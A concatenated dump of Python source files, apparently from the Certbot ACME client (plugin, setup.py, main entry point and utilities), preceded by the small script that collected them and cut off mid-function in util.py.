# git clone https://github.com/Gallopsled/pwntools

import glob, os

starting_location = os.getcwd()
outfile = starting_location+'/python_dump.py'
#os.chdir('pwntools-dev')
cwd = os.getcwd()
for directory in os.walk(cwd):
	os.chdir(directory[0])
	for file in glob.glob("*.py"):
		full_path = directory[0]+'/'+file

		with open(full_path,'r') as f:
			contents = f.read()

		with open(outfile,'a') as f:
			f.write(contents+'\n\n\n\n\n\n')





"""Certbot ACME PyLint plugin.

http://docs.pylint.org/plugins.html

"""
from astroid import MANAGER
from astroid import nodes


def register(unused_linter):
    """Register this module as PyLint plugin."""

def _transform(cls):
    # fix the "no-member" error on instances of
    # letsencrypt.acme.util.ImmutableMap subclasses (instance
    # attributes are initialized dynamically based on __slots__)

    # TODO: this is too broad and applies to any tested class...

    if cls.slots() is not None:
        for slot in cls.slots():
            cls.locals[slot.value] = [nodes.EmptyNode()]

    if cls.name == 'JSONObjectWithFields':
        # _fields is magically introduced by JSONObjectWithFieldsMeta
        cls.locals['_fields'] = [nodes.EmptyNode()]


MANAGER.register_transform(nodes.Class, _transform)






import codecs
import os
import re
import sys

from setuptools import setup
from setuptools import find_packages

# Workaround for http://bugs.python.org/issue8876, see
# http://bugs.python.org/issue8876#msg208792
# This can be removed when using Python 2.7.9 or later:
# https://hg.python.org/cpython/raw-file/v2.7.9/Misc/NEWS
if os.path.abspath(__file__).split(os.path.sep)[1] == 'vagrant':
    del os.link


def read_file(filename, encoding='utf8'):
    """Read unicode from given file."""
    with codecs.open(filename, encoding=encoding) as fd:
        return fd.read()


here = os.path.abspath(os.path.dirname(__file__))

# read version number (and other metadata) from package init
init_fn = os.path.join(here, 'certbot', '__init__.py')
meta = dict(re.findall(r"""__([a-z]+)__ = '([^']+)""", read_file(init_fn)))

readme = read_file(os.path.join(here, 'README.rst'))
changes = read_file(os.path.join(here, 'CHANGES.rst'))
version = meta['version']

# Please update tox.ini when modifying dependency version requirements
install_requires = [
    'acme=={0}'.format(version),
    # We technically need ConfigArgParse 0.10.0 for Python 2.6 support, but
    # saying so here causes a runtime error against our temporary fork of 0.9.3
    # in which we added 2.6 support (see #2243), so we relax the requirement.
    'ConfigArgParse>=0.9.3',
    'configobj',
    'cryptography>=0.7',  # load_pem_x509_certificate
    'parsedatetime>=1.3',  # Calendar.parseDT
    'PyOpenSSL',
    'pyrfc3339',
    'pytz',
    # For pkg_resources. >=1.0 so pip resolves it to a version cryptography
    # will tolerate; see #2599:
    'setuptools>=1.0',
    'six',
    'zope.component',
    'zope.interface',
]

# Debian squeeze support, cf. #280
if sys.version_info[0] == 2:
    install_requires.append('python2-pythondialog>=3.2.2rc1')
else:
    install_requires.append('pythondialog>=3.2.2rc1')

# env markers in extras_require cause problems with older pip: #517
# Keep in sync with conditional_requirements.py.
if sys.version_info < (2, 7):
    install_requires.extend([
        # only some distros recognize stdlib argparse as already satisfying
        'argparse',
        'mock<1.1.0',
    ])
else:
    install_requires.append('mock')

dev_extras = [
    # Pin astroid==1.3.5, pylint==1.4.2 as a workaround for #289
    'astroid==1.3.5',
    'coverage',
    'nose',
    'pep8',
    'psutil>=2.2.1',  # for tests, optional
    'pylint==1.4.2',  # upstream #248
    'tox',
    'twine',
    'wheel',
]

docs_extras = [
    'repoze.sphinx.autointerface',
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
    'sphinxcontrib-programoutput',
]

setup(
    name='certbot',
    version=version,
    description="ACME client",
    long_description=readme,  # later: + '\n\n' + changes
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Console',
        'Environment :: Console :: Curses',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(exclude=['docs', 'examples', 'tests', 'venv']),
    include_package_data=True,

    install_requires=install_requires,
    extras_require={
        'dev': dev_extras,
        'docs': docs_extras,
    },

    # to test all packages run "python setup.py test -s
    # {acme,certbot_apache,certbot_nginx}"
    test_suite='certbot',

    entry_points={
        'console_scripts': [
            'certbot = certbot.main:main',
        ],
        'certbot.plugins': [
            'manual = certbot.plugins.manual:Authenticator',
            'null = certbot.plugins.null:Installer',
            'standalone = certbot.plugins.standalone:Authenticator',
            'webroot = certbot.plugins.webroot:Authenticator',
        ],
    },
)






"""Certbot main entry point."""
from __future__ import print_function
import atexit
import dialog
import functools
import logging.handlers
import os
import sys
import time
import traceback

import zope.component

from acme import jose

import certbot

from certbot import account
from certbot import client
from certbot import cli
from certbot import crypto_util
from certbot import colored_logging
from certbot import configuration
from certbot import constants
from certbot import errors
from certbot import hooks
from certbot import interfaces
from certbot import util
from certbot import log
from certbot import reporter
from certbot import renewal
from certbot import storage

from certbot.display import util as display_util, ops as display_ops
from certbot.plugins import disco as plugins_disco
from certbot.plugins import selection as plug_sel


_PERM_ERR_FMT = os.linesep.join((
    "The following error was encountered:", "{0}",
    "If running as non-root, set --config-dir, "
    "--logs-dir, and --work-dir to writeable paths."))


logger = logging.getLogger(__name__)


def _suggest_donation_if_appropriate(config, action):
    """Potentially suggest a donation to support Certbot."""
    if config.staging or config.verb == "renew":
        # --dry-run implies --staging
        return
    if action not in ["renew", "newcert"]:
        return
    reporter_util = zope.component.getUtility(interfaces.IReporter)
    msg = ("If you like Certbot, please consider supporting our work by:\n\n"
           "Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate\n"
           "Donating to EFF:                    https://eff.org/donate-le\n\n")
    reporter_util.add_message(msg, reporter_util.LOW_PRIORITY)



def _report_successful_dry_run(config):
    reporter_util = zope.component.getUtility(interfaces.IReporter)
    if config.verb != "renew":
        reporter_util.add_message("The dry run was successful.",
                                  reporter_util.HIGH_PRIORITY, on_crash=False)



def _auth_from_domains(le_client, config, domains, lineage=None):
    """Authenticate and enroll certificate."""
    # Note: This can raise errors... caught above us though. This is now
    # a three-way case: reinstall (which results in a no-op here because
    # although there is a relevant lineage, we don't do anything to it
    # inside this function -- we don't obtain a new certificate), renew
    # (which results in treating the request as a renewal), or newcert
    # (which results in treating the request as a new certificate request).

    # If lineage is specified, use that one instead of looking around for
    # a matching one.
    if lineage is None:
        # This will find a relevant matching lineage that exists
        action, lineage = _treat_as_renewal(config, domains)
    else:
        # Renewal, where we already know the specific lineage we're
        # interested in
        action = "renew"

    if action == "reinstall":
        # The lineage already exists; allow the caller to try installing
        # it without getting a new certificate at all.
        logger.info("Keeping the existing certificate")
        return lineage, "reinstall"

    hooks.pre_hook(config)
    try:
        if action == "renew":
            logger.info("Renewing an existing certificate")
            renewal.renew_cert(config, domains, le_client, lineage)
        elif action == "newcert":
            # TREAT AS NEW REQUEST
            logger.info("Obtaining a new certificate")
            lineage = le_client.obtain_and_enroll_certificate(domains)
            if lineage is False:
                raise errors.Error("Certificate could not be obtained")
    finally:
        hooks.post_hook(config, final=False)

    if not config.dry_run and not config.verb == "renew":
        _report_new_cert(config, lineage.cert, lineage.fullchain)

    return lineage, action


def _handle_subset_cert_request(config, domains, cert):
    """Figure out what to do if a previous cert had a subset of the names now requested

    :param storage.RenewableCert cert:

    :returns: Tuple of (str action, cert_or_None) as per _treat_as_renewal
              action can be: "newcert" | "renew" | "reinstall"
    :rtype: tuple

    """
    existing = ", ".join(cert.names())
    question = (
        "You have an existing certificate that contains a portion of "
        "the domains you requested (ref: {0}){br}{br}It contains these "
        "names: {1}{br}{br}You requested these names for the new "
        "certificate: {2}.{br}{br}Do you want to expand and replace this existing "
        "certificate with the new certificate?"
    ).format(cert.configfile.filename,
             existing,
             ", ".join(domains),
             br=os.linesep)
    if config.expand or config.renew_by_default or zope.component.getUtility(
            interfaces.IDisplay).yesno(question, "Expand", "Cancel",
                                       cli_flag="--expand"):
        return "renew", cert
    else:
        reporter_util = zope.component.getUtility(interfaces.IReporter)
        reporter_util.add_message(
            "To obtain a new certificate that contains these names without "
            "replacing your existing certificate for {0}, you must use the "
            "--duplicate option.{br}{br}"
            "For example:{br}{br}{1} --duplicate {2}".format(
                existing,
                sys.argv[0], " ".join(sys.argv[1:]),
                br=os.linesep
            ),
            reporter_util.HIGH_PRIORITY)
        raise errors.Error(
            "User chose to cancel the operation and may "
            "reinvoke the client.")


def _handle_identical_cert_request(config, cert):
    """Figure out what to do if a cert has the same names as a previously obtained one

    :param storage.RenewableCert cert:

    :returns: Tuple of (str action, cert_or_None) as per _treat_as_renewal
              action can be: "newcert" | "renew" | "reinstall"
    :rtype: tuple

    """
    if renewal.should_renew(config, cert):
        return "renew", cert
    if config.reinstall:
        # Set with --reinstall, force an identical certificate to be
        # reinstalled without further prompting.
        return "reinstall", cert
    question = (
        "You have an existing certificate that contains exactly the same "
        "domains you requested and isn't close to expiry."
        "{br}(ref: {0}){br}{br}What would you like to do?"
    ).format(cert.configfile.filename, br=os.linesep)

    if config.verb == "run":
        keep_opt = "Attempt to reinstall this existing certificate"
    elif config.verb == "certonly":
        keep_opt = "Keep the existing certificate for now"
    choices = [keep_opt,
               "Renew & replace the cert (limit ~5 per 7 days)"]

    display = zope.component.getUtility(interfaces.IDisplay)
    response = display.menu(question, choices, "OK", "Cancel", default=0)
    if response[0] == display_util.CANCEL:
        # TODO: Add notification related to command-line options for
        #       skipping the menu for this case.
        raise errors.Error(
            "User chose to cancel the operation and may "
            "reinvoke the client.")
    elif response[1] == 0:
        return "reinstall", cert
    elif response[1] == 1:
        return "renew", cert
    else:
        assert False, "This is impossible"


def _treat_as_renewal(config, domains):
    """Determine whether there are duplicated names and how to handle
    them (renew, reinstall, newcert, or raising an error to stop
    the client run if the user chooses to cancel the operation when
    prompted).

    :returns: Two-element tuple containing desired new-certificate behavior as
              a string token ("reinstall", "renew", or "newcert"), plus either
              a RenewableCert instance or None if renewal shouldn't occur.

    :raises .Error: If the user would like to rerun the client again.

    """
    # Considering the possibility that the requested certificate is
    # related to an existing certificate.  (config.duplicate, which
    # is set with --duplicate, skips all of this logic and forces any
    # kind of certificate to be obtained with renewal = False.)
    if config.duplicate:
        return "newcert", None
    # TODO: Also address superset case
    ident_names_cert, subset_names_cert = _find_duplicative_certs(config, domains)
    # XXX ^ schoen is not sure whether that correctly reads the systemwide
    # configuration file.
    if ident_names_cert is None and subset_names_cert is None:
        return "newcert", None

    if ident_names_cert is not None:
        return _handle_identical_cert_request(config, ident_names_cert)
    elif subset_names_cert is not None:
        return _handle_subset_cert_request(config, domains, subset_names_cert)


def _find_duplicative_certs(config, domains):
    """Find existing certs that duplicate the request."""

    identical_names_cert, subset_names_cert = None, None

    cli_config = configuration.RenewerConfiguration(config)
    configs_dir = cli_config.renewal_configs_dir
    # Verify the directory is there
    util.make_or_verify_dir(configs_dir, mode=0o755, uid=os.geteuid())

    for renewal_file in renewal.renewal_conf_files(cli_config):
        try:
            candidate_lineage = storage.RenewableCert(renewal_file, cli_config)
        except (errors.CertStorageError, IOError):
            logger.warning("Renewal conf file %s is broken. Skipping.", renewal_file)
            logger.debug("Traceback was:\n%s", traceback.format_exc())
            continue
        # TODO: Handle these differently depending on whether they are
        #       expired or still valid?
        candidate_names = set(candidate_lineage.names())
        if candidate_names == set(domains):
            identical_names_cert = candidate_lineage
        elif candidate_names.issubset(set(domains)):
            # This logic finds and returns the largest subset-names cert
            # in the case where there are several available.
            if subset_names_cert is None:
                subset_names_cert = candidate_lineage
            elif len(candidate_names) > len(subset_names_cert.names()):
                subset_names_cert = candidate_lineage

    return identical_names_cert, subset_names_cert


def _find_domains(config, installer):
    if config.domains:
        domains = config.domains
    else:
        domains = display_ops.choose_names(installer)

    if not domains:
        raise errors.Error("Please specify --domains, or --installer that "
                           "will help in domain names autodiscovery")

    return domains


def _report_new_cert(config, cert_path, fullchain_path):
    """Reports the creation of a new certificate to the user.

    :param str cert_path: path to cert
    :param str fullchain_path: path to full chain

    """
    expiry = crypto_util.notAfter(cert_path).date()
    reporter_util = zope.component.getUtility(interfaces.IReporter)
    if fullchain_path:
        # Print the path to fullchain.pem because that's what modern webservers
        # (Nginx and Apache2.4) will want.
        and_chain = "and chain have"
        path = fullchain_path
    else:
        # Unless we're in .csr mode and there really isn't one
        and_chain = "has "
        path = cert_path

    verbswitch = ' with the "certonly" option' if config.verb == "run" else ""
    # XXX Perhaps one day we could detect the presence of known old webservers
    # and say something more informative here.
    msg = ('Congratulations! Your certificate {0} been saved at {1}.'
           ' Your cert will expire on {2}. To obtain a new or tweaked version of this '
           'certificate in the future, simply run {3} again{4}. '
           'To non-interactively renew *all* of your certificates, run "{3} renew"'
           .format(and_chain, path, expiry, cli.cli_command, verbswitch))
    reporter_util.add_message(msg, reporter_util.MEDIUM_PRIORITY)


def _determine_account(config):
    """Determine which account to use.

    In order to make the renewer (configuration de/serialization) happy,
    if ``config.account`` is ``None``, it will be updated based on the
    user input. Same for ``config.email``.

    :param argparse.Namespace config: CLI arguments
    :param certbot.interface.IConfig config: Configuration object
    :param .AccountStorage account_storage: Account storage.

    :returns: Account and optionally ACME client API (biproduct of new
        registration).
    :rtype: `tuple` of `certbot.account.Account` and
        `acme.client.Client`

    """
    account_storage = account.AccountFileStorage(config)
    acme = None

    if config.account is not None:
        acc = account_storage.load(config.account)
    else:
        accounts = account_storage.find_all()
        if len(accounts) > 1:
            acc = display_ops.choose_account(accounts)
        elif len(accounts) == 1:
            acc = accounts[0]
        else:  # no account registered yet
            if config.email is None and not config.register_unsafely_without_email:
                config.namespace.email = display_ops.get_email()

            def _tos_cb(regr):
                if config.tos:
                    return True
                msg = ("Please read the Terms of Service at {0}. You "
                       "must agree in order to register with the ACME "
                       "server at {1}".format(
                           regr.terms_of_service, config.server))
                obj = zope.component.getUtility(interfaces.IDisplay)
                return obj.yesno(msg, "Agree", "Cancel", cli_flag="--agree-tos")

            try:
                acc, acme = client.register(
                    config, account_storage, tos_cb=_tos_cb)
            except errors.MissingCommandlineFlag:
                raise
            except errors.Error as error:
                logger.debug(error, exc_info=True)
                raise errors.Error(
                    "Unable to register an account with ACME server")

    config.namespace.account = acc.id
    return acc, acme


def _init_le_client(config, authenticator, installer):
    if authenticator is not None:
        # if authenticator was given, then we will need account...
        acc, acme = _determine_account(config)
        logger.debug("Picked account: %r", acc)
        # XXX
        #crypto_util.validate_key_csr(acc.key)
    else:
        acc, acme = None, None

    return client.Client(config, acc, authenticator, installer, acme=acme)


def register(config, unused_plugins):
    """Create or modify accounts on the server."""

    # Portion of _determine_account logic to see whether accounts already
    # exist or not.
    account_storage = account.AccountFileStorage(config)
    accounts = account_storage.find_all()

    # registering a new account
    if not config.update_registration:
        if len(accounts) > 0:
            # TODO: add a flag to register a duplicate account (this will
            #       also require extending _determine_account's behavior
            #       or else extracting the registration code from there)
            return ("There is an existing account; registration of a "
                    "duplicate account with this command is currently "
                    "unsupported.")
        # _determine_account will register an account
        _determine_account(config)
        return

    # --update-registration
    if len(accounts) == 0:
        return "Could not find an existing account to update."
    if config.email is None:
        if config.register_unsafely_without_email:
            return ("--register-unsafely-without-email provided, however, a "
                    "new e-mail address must\ncurrently be provided when "
                    "updating a registration.")
        config.namespace.email = display_ops.get_email(optional=False)

    acc, acme = _determine_account(config)
    acme_client = client.Client(config, acc, None, None, acme=acme)
    # We rely on an exception to interrupt this process if it didn't work.
    acc.regr = acme_client.acme.update_registration(acc.regr.update(
        body=acc.regr.body.update(contact=('mailto:' + config.email,))))
    account_storage.save_regr(acc)
    reporter_util = zope.component.getUtility(interfaces.IReporter)
    msg = "Your e-mail address was updated to {0}.".format(config.email)
    reporter_util.add_message(msg, reporter_util.MEDIUM_PRIORITY)


def install(config, plugins):
    """Install a previously obtained cert in a server."""
    # XXX: Update for renewer/RenewableCert
    # FIXME: be consistent about whether errors are raised or returned from
    # this function ...

    try:
        installer, _ = plug_sel.choose_configurator_plugins(config, plugins, "install")
    except errors.PluginSelectionError as e:
        return e.message

    domains = _find_domains(config, installer)
    le_client = _init_le_client(config, authenticator=None, installer=installer)
    assert config.cert_path is not None  # required=True in the subparser
    le_client.deploy_certificate(
        domains, config.key_path, config.cert_path, config.chain_path,
        config.fullchain_path)
    le_client.enhance_config(domains, config)


def plugins_cmd(config, plugins):  # TODO: Use IDisplay rather than print
    """List server software plugins."""
    logger.debug("Expected interfaces: %s", config.ifaces)

    ifaces = [] if config.ifaces is None else config.ifaces
    filtered = plugins.visible().ifaces(ifaces)
    logger.debug("Filtered plugins: %r", filtered)

    if not config.init and not config.prepare:
        print(str(filtered))
        return

    filtered.init(config)
    verified = filtered.verify(ifaces)
    logger.debug("Verified plugins: %r", verified)

    if not config.prepare:
        print(str(verified))
        return

    verified.prepare()
    available = verified.available()
    logger.debug("Prepared plugins: %s", available)
    print(str(available))


def rollback(config, plugins):
    """Rollback server configuration changes made during install."""
    client.rollback(config.installer, config.checkpoints, config, plugins)


def config_changes(config, unused_plugins):
    """Show changes made to server config during installation

    View checkpoints and associated configuration changes.

    """
    client.view_config_changes(config, num=config.num)


def revoke(config, unused_plugins):  # TODO: coop with renewal config
    """Revoke a previously obtained certificate."""
    # For user-agent construction
    config.namespace.installer = config.namespace.authenticator = "None"
    if config.key_path is not None:  # revocation by cert key
        logger.debug("Revoking %s using cert key %s",
                     config.cert_path[0], config.key_path[0])
        key = jose.JWK.load(config.key_path[1])
    else:  # revocation by account key
        logger.debug("Revoking %s using Account Key", config.cert_path[0])
        acc, _ = _determine_account(config)
        key = acc.key
    acme = client.acme_from_config_key(config, key)
    cert = crypto_util.pyopenssl_load_certificate(config.cert_path[1])[0]
    acme.revoke(jose.ComparableX509(cert))


def run(config, plugins):  # pylint: disable=too-many-branches,too-many-locals
    """Obtain a certificate and install."""
    # TODO: Make run as close to auth + install as possible
    # Possible difficulties: config.csr was hacked into auth
    try:
        installer, authenticator = plug_sel.choose_configurator_plugins(config, plugins, "run")
    except errors.PluginSelectionError as e:
        return e.message

    domains = _find_domains(config, installer)

    # TODO: Handle errors from _init_le_client?
    le_client = _init_le_client(config, authenticator, installer)

    lineage, action = _auth_from_domains(le_client, config, domains)

    le_client.deploy_certificate(
        domains, lineage.privkey, lineage.cert,
        lineage.chain, lineage.fullchain)

    le_client.enhance_config(domains, config)

    if len(lineage.available_versions("cert")) == 1:
        display_ops.success_installation(domains)
    else:
        display_ops.success_renewal(domains, action)

    _suggest_donation_if_appropriate(config, action)


def _csr_obtain_cert(config, le_client):
    """Obtain a cert using a user-supplied CSR

    This works differently in the CSR case (for now) because we don't
    have the privkey, and therefore can't construct the files for a lineage.
    So we just save the cert & chain to disk :/
    """
    csr, typ = config.actual_csr
    certr, chain = le_client.obtain_certificate_from_csr(config.domains, csr, typ)
    if config.dry_run:
        logger.debug(
            "Dry run: skipping saving certificate to %s", config.cert_path)
    else:
        cert_path, _, cert_fullchain = le_client.save_certificate(
            certr, chain, config.cert_path, config.chain_path, config.fullchain_path)
        _report_new_cert(config, cert_path, cert_fullchain)


def obtain_cert(config, plugins, lineage=None):
    """Authenticate & obtain cert, but do not install it.

    This implements the 'certonly' subcommand, and is also called from within the
    'renew' command."""

    # SETUP: Select plugins and construct a client instance
    try:
        # installers are used in auth mode to determine domain names
        installer, auth = plug_sel.choose_configurator_plugins(config, plugins, "certonly")
    except errors.PluginSelectionError as e:
        logger.info("Could not choose appropriate plugin: %s", e)
        raise
    le_client = _init_le_client(config, auth, installer)

    # SHOWTIME: Possibly obtain/renew a cert, and set action to renew | newcert | reinstall
    if config.csr is None: # the common case
        domains = _find_domains(config, installer)
        _, action = _auth_from_domains(le_client, config, domains, lineage)
    else:
        assert lineage is None, "Did not expect a CSR with a RenewableCert"
        _csr_obtain_cert(config, le_client)
        action = "newcert"

    # POSTPRODUCTION: Cleanup, deployment & reporting
    notify = zope.component.getUtility(interfaces.IDisplay).notification
    if config.dry_run:
        _report_successful_dry_run(config)
    elif config.verb == "renew":
        if installer is None:
            notify("new certificate deployed without reload, fullchain is {0}".format(
                   lineage.fullchain), pause=False)
        else:
            # In case of a renewal, reload server to pick up new certificate.
            # In principle we could have a configuration option to inhibit this
            # from happening.
            installer.restart()
            notify("new certificate deployed with reload of {0} server; fullchain is {1}".format(
                   config.installer, lineage.fullchain), pause=False)
    elif action == "reinstall" and config.verb == "certonly":
        notify("Certificate not yet due for renewal; no action taken.", pause=False)
    _suggest_donation_if_appropriate(config, action)


def renew(config, unused_plugins):
    """Renew previously-obtained certificates."""
    try:
        renewal.renew_all_lineages(config)
    finally:
        hooks.post_hook(config, final=True)


def setup_log_file_handler(config, logfile, fmt):
    """Setup file debug logging."""
    log_file_path = os.path.join(config.logs_dir, logfile)
    try:
        handler = logging.handlers.RotatingFileHandler(
            log_file_path, maxBytes=2 ** 20, backupCount=10)
    except IOError as error:
        raise errors.Error(_PERM_ERR_FMT.format(error))
    # rotate on each invocation, rollover only possible when maxBytes
    # is nonzero and backupCount is nonzero, so we set maxBytes as big
    # as possible not to overrun in single CLI invocation (1MB).
    handler.doRollover()  # TODO: creates empty letsencrypt.log.1 file
    handler.setLevel(logging.DEBUG)
    handler_formatter = logging.Formatter(fmt=fmt)
    handler_formatter.converter = time.gmtime  # don't use localtime
    handler.setFormatter(handler_formatter)
    return handler, log_file_path


def _cli_log_handler(config, level, fmt):
    if config.text_mode or config.noninteractive_mode or config.verb == "renew":
        handler = colored_logging.StreamHandler()
        handler.setFormatter(logging.Formatter(fmt))
    else:
        handler = log.DialogHandler()
        # dialog box is small, display as less as possible
        handler.setFormatter(logging.Formatter("%(message)s"))
    handler.setLevel(level)
    return handler


def setup_logging(config, cli_handler_factory, logfile):
    """Setup logging."""
    file_fmt = "%(asctime)s:%(levelname)s:%(name)s:%(message)s"
    cli_fmt = "%(message)s"
    level = -config.verbose_count * 10
    file_handler, log_file_path = setup_log_file_handler(
        config, logfile=logfile, fmt=file_fmt)
    cli_handler = cli_handler_factory(config, level, cli_fmt)

    # TODO: use fileConfig?

    root_logger = logging.getLogger()
    root_logger.setLevel(logging.DEBUG)  # send all records to handlers
    root_logger.addHandler(cli_handler)
    root_logger.addHandler(file_handler)

    logger.debug("Root logging level set at %d", level)
    logger.info("Saving debug log to %s", log_file_path)


def _handle_exception(exc_type, exc_value, trace, config):
    """Logs exceptions and reports them to the user.

    Config is used to determine how to display exceptions to the user. In
    general, if config.debug is True, then the full exception and traceback is
    shown to the user, otherwise it is suppressed. If config itself is None,
    then the traceback and exception is attempted to be written to a logfile.
    If this is successful, the traceback is suppressed, otherwise it is shown
    to the user. sys.exit is always called with a nonzero status.

    """
    logger.debug(
        "Exiting abnormally:%s%s",
        os.linesep,
        "".join(traceback.format_exception(exc_type, exc_value, trace)))

    if issubclass(exc_type, Exception) and (config is None or not config.debug):
        if config is None:
            logfile = "certbot.log"
            try:
                with open(logfile, "w") as logfd:
                    traceback.print_exception(
                        exc_type, exc_value, trace, file=logfd)
            except:  # pylint: disable=bare-except
                sys.exit("".join(
                    traceback.format_exception(exc_type, exc_value, trace)))

        if issubclass(exc_type, errors.Error):
            sys.exit(exc_value)
        else:
            # Here we're passing a client or ACME error out to the client at the shell
            # Tell the user a bit about what happened, without overwhelming
            # them with a full traceback
            if issubclass(exc_type, dialog.error):
                err = exc_value.complete_message()
            else:
                err = traceback.format_exception_only(exc_type, exc_value)[0]
            # Typical error from the ACME module:
            # acme.messages.Error: urn:acme:error:malformed :: The request message was
            # malformed :: Error creating new registration :: Validation of contact
            # mailto:none@longrandomstring.biz failed: Server failure at resolver
            if (("urn:acme" in err and ":: " in err and
                 config.verbose_count <= cli.flag_default("verbose_count"))):
                # prune ACME error code, we have a human description
                _code, _sep, err = err.partition(":: ")
            msg = "An unexpected error occurred:\n" + err + "Please see the "
            if config is None:
                msg += "logfile '{0}' for more details.".format(logfile)
            else:
                msg += "logfiles in {0} for more details.".format(config.logs_dir)
            sys.exit(msg)
    else:
        sys.exit("".join(
            traceback.format_exception(exc_type, exc_value, trace)))


def make_or_verify_core_dir(directory, mode, uid, strict):
    """Make sure directory exists with proper permissions.

    :param str directory: Path to a directory.
    :param int mode: Directory mode.
    :param int uid: Directory owner.
    :param bool strict: require directory to be owned by current user

    :raises .errors.Error: if the directory cannot be made or verified

    """
    try:
        util.make_or_verify_dir(directory, mode, uid, strict)
    except OSError as error:
        raise errors.Error(_PERM_ERR_FMT.format(error))


def main(cli_args=sys.argv[1:]):
    """Command line argument parsing and main script execution."""
    sys.excepthook = functools.partial(_handle_exception, config=None)
    plugins = plugins_disco.PluginsRegistry.find_all()

    # note: arg parser internally handles --help (and exits afterwards)
    args = cli.prepare_and_parse_args(plugins, cli_args)
    config = configuration.NamespaceConfig(args)
    zope.component.provideUtility(config)

    make_or_verify_core_dir(config.config_dir, constants.CONFIG_DIRS_MODE,
                            os.geteuid(), config.strict_permissions)
    make_or_verify_core_dir(config.work_dir, constants.CONFIG_DIRS_MODE,
                            os.geteuid(), config.strict_permissions)
    # TODO: logs might contain sensitive data such as contents of the
    # private key! #525
    make_or_verify_core_dir(config.logs_dir, 0o700,
                            os.geteuid(), config.strict_permissions)
    # Setup logging ASAP, otherwise "No handlers could be found for
    # logger ..." TODO: this should be done before plugins discovery
    setup_logging(config, _cli_log_handler, logfile='letsencrypt.log')
    cli.possible_deprecation_warning(config)

    logger.debug("certbot version: %s", certbot.__version__)
    # do not log `config`, as it contains sensitive data (e.g. revoke --key)!
    logger.debug("Arguments: %r", cli_args)
    logger.debug("Discovered plugins: %r", plugins)

    sys.excepthook = functools.partial(_handle_exception, config=config)

    # Displayer
    if config.quiet:
        config.noninteractive_mode = True
        displayer = display_util.NoninteractiveDisplay(open(os.devnull, "w"))
    elif config.noninteractive_mode:
        displayer = display_util.NoninteractiveDisplay(sys.stdout)
    elif config.text_mode:
        displayer = display_util.FileDisplay(sys.stdout)
    else:
        displayer = display_util.NcursesDisplay()
    zope.component.provideUtility(displayer)

    # Reporter
    report = reporter.Reporter(config)
    zope.component.provideUtility(report)
    atexit.register(report.atexit_print_messages)

    return config.func(config, plugins)


if __name__ == "__main__":
    err_string = main()
    if err_string:
        logger.warning("Exiting with message %s", err_string)
    sys.exit(err_string)  # pragma: no cover






"""Utilities for all Certbot."""
import argparse
import collections
# distutils.version under virtualenv confuses pylint
# For more info, see: https://github.com/PyCQA/pylint/issues/73
import distutils.version  # pylint: disable=import-error,no-name-in-module
import errno
import logging
import os
import platform
import re
import six
import socket
import stat
import subprocess
import sys

import configargparse

from certbot import errors


logger = logging.getLogger(__name__)


Key = collections.namedtuple("Key", "file pem")
# Note: form is the type of data, "pem" or "der"
CSR = collections.namedtuple("CSR", "file data form")


# ANSI SGR escape codes
# Formats text as bold or with increased intensity
ANSI_SGR_BOLD = '\033[1m'
# Colors text red
ANSI_SGR_RED = "\033[31m"
# Resets output format
ANSI_SGR_RESET = "\033[0m"


def run_script(params):
    """Run the script with the given params.

    :param list params: List of parameters to pass to Popen

    """
    try:
        proc = subprocess.Popen(params,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE)

    except (OSError, ValueError):
        msg = "Unable to run the command: %s" % " ".join(params)
        logger.error(msg)
        raise errors.SubprocessError(msg)

    stdout, stderr = proc.communicate()

    if proc.returncode != 0:
        msg = "Error while running %s.\n%s\n%s" % (
            " ".join(params), stdout, stderr)
        # Enter recovery routine...
        logger.error(msg)
        raise errors.SubprocessError(msg)

    return stdout, stderr


def exe_exists(exe):
    """Determine whether path/name refers to an executable.

    :param str exe: Executable path or name

    :returns: If exe is a valid executable
    :rtype: bool

    """
    def is_exe(path):
        """Determine if path is an exe."""
        return os.path.isfile(path) and os.access(path, os.X_OK)

    path, _ = os.path.split(exe)
    if path:
        return is_exe(exe)
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            if is_exe(os.path.join(path, exe)):
                return True

    return False


def make_or_verify_dir(directory, mode=0o755, uid=0, strict=False):
    """Make sure directory exists with proper permissions.

    :param str directory: Path to a directory.
    :param int mode: Directory mode.
    :param int uid: Directory owner.
    :param bool strict: require directory to be owned by current user

    :raises .errors.Error: if a directory already exists,
        but has wrong permissions or owner

    :raises OSError: if invalid or inaccessible file names and
        paths, or other arguments that have the correct type,
        but are not accepted by the operating system.

    """
    try:
        os.makedirs(directory, mode)
    except OSError as exception:
        if exception.errno == errno.EEXIST:
            if strict and not check_permissions(directory, mode, uid):
                raise errors.Error(
                    "%s exists, but it should be owned by user %d with"
                    "permissions %s" % (directory, uid, oct(mode)))
        else:
            raise


def check_permissions(filepath, mode, uid=0):
    """Check file or directory permissions.

    :param str filepath: Path to the tested file (or directory).
    :param int mode: Expected file mode.
    :param int uid: Expected file owner.

    :returns: True if `mode` and `uid` match, False otherwise.
    :rtype: bool

    """
    file_stat = os.stat(filepath)
    return stat.S_IMODE(file_stat.st_mode) == mode and file_stat.st_uid == uid


def safe_open(path, mode="w", chmod=None, buffering=None):
    """Safely open a file.

    :param str path: Path to a file.
    :param str mode: Same os `mode` for `open`.
    :param int chmod: Same as `mode` for `os.open`, uses Python defaults
        if ``None``.
    :param int buffering: Same as `bufsize` for `os.fdopen`, uses Python
        defaults if ``None``.

    """
    # pylint: disable=star-args
    open_args = () if chmod is None else (chmod,)
    fdopen_args = () if buffering is None else (buffering,)
    return os.fdopen(
        os.open(path, os.O_CREAT | os.O_EXCL | os.O_RDWR, *open_args),
        mode, *fdopen_args)


def _unique_file(path, filename_pat, count, mode):
    while True:
